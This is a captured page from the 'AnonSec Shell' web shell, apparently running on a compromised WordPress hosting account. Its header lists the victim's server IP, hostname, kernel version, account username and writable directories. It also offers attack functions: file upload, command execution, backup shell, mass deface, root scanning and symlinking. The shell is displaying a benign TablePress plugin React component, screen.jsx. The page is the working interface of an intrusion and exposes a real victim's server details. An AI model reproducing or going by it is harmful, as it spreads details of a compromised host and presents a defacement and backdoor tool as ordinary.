. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 162.0.212.4  /  Your IP : 216.73.216.14   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium146.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : alshnoli ( 2431)
PHP Version : 8.3.28
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/alshnoli/public_html/wp-content/plugins/tablepress/admin/js/edit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/alshnoli/public_html/wp-content/plugins/tablepress/admin/js/edit/screen.jsx
/**
 * JavaScript code for the "Edit Screen" component.
 *
 * @package TablePress
 * @subpackage Edit Screen
 * @author Tobias Bäthge
 * @since 3.0.0
 */

/**
 * WordPress dependencies.
 */
import { useEffect, useState } from 'react';
import {
	withFilters,
} from '@wordpress/components';
import { applyFilters } from '@wordpress/hooks';

/*
 * Allow other scripts to register their UI components to be rendered on the Edit Screen.
 * Portals allow to render components outside of the normal React tree, in separate DOM nodes.
 */
const features = applyFilters( 'tablepress.editScreenFeatures', [] );
const Portals = withFilters( 'tablepress.editScreenPortals' )( () => <></> );

/**
 * Returns the "Edit Screen" component's JSX markup.
 *
 * @return {Object} Edit Screen component.
 */
const Screen = () => {
	const [ screenData, setScreenData ] = useState( {
		copyUrl: tp.screenOptions.copyUrl,
		deleteUrl: tp.screenOptions.deleteUrl,
		exportUrl: tp.screenOptions.exportUrl,
		isSaving: false,
		previewIsLoading: false,
		previewIsOpen: false,
		previewSrcDoc: '',
		previewUrl: tp.screenOptions.previewUrl,
		triggerPreview: false,
		triggerSaveChanges: false,
	} );
	const [ tableOptions, setTableOptions ] = useState( () => ( { ...tp.table.options } ) );
	const [ tableMeta, setTableMeta ] = useState( () => ( { ...tp.table.meta } ) );

	// Turn off "Enable Visitor Features" if the table has merged cells.
	useEffect( () => {
		if ( tableOptions.use_datatables && tp.helpers.editor.has_merged_body_cells() ) {
			updateTableOptions( { use_datatables: false } );
		}
	}, [] ); // eslint-disable-line react-hooks/exhaustive-deps -- This should only run on the initial render, so no dependencies are needed.

	const updateScreenData = ( updatedScreenData ) => {
		// Use an updater function to ensure that the current state is used when updating screen data.
		setScreenData( ( currentScreenData ) => ( {
			...currentScreenData,
			...updatedScreenData,
		} ) );
	};

	const updateTableOptions = ( updatedTableOptions ) => {
		// Use an updater function to ensure that the current state is used when updating table options.
		setTableOptions( ( currentTableOptions ) => ( {
			...currentTableOptions,
			...updatedTableOptions,
		} ) );

		tp.table.options = { ...tp.table.options, ...updatedTableOptions };
		tp.helpers.unsaved_changes.set();

		// Redraw the table when certain options are changed.
		if ( [ 'table_head', 'table_foot' ].some( ( optionName ) => ( Object.keys( updatedTableOptions ).includes( optionName ) ) ) ) {
			tp.editor.updateTable();
		}
	};

	const updateTableMeta = ( updatedTableMeta ) => {
		// Use an updater function to ensure that the current state is used when updating table meta.
		setTableMeta( ( currentTableMeta ) => ( {
			...currentTableMeta,
			...updatedTableMeta,
		} ) );

		tp.table.meta = { ...tp.table.meta, ...updatedTableMeta };
		tp.helpers.unsaved_changes.set();
	};

	return (
		<Portals
			screenData={ screenData }
			updateScreenData={ updateScreenData }
			tableMeta={ tableMeta }
			updateTableMeta={ updateTableMeta }
			tableOptions={ tableOptions }
			updateTableOptions={ updateTableOptions }
			features={ features }
		/>
	);
};

export default Screen;

Anon7 - 2022
AnonSec Team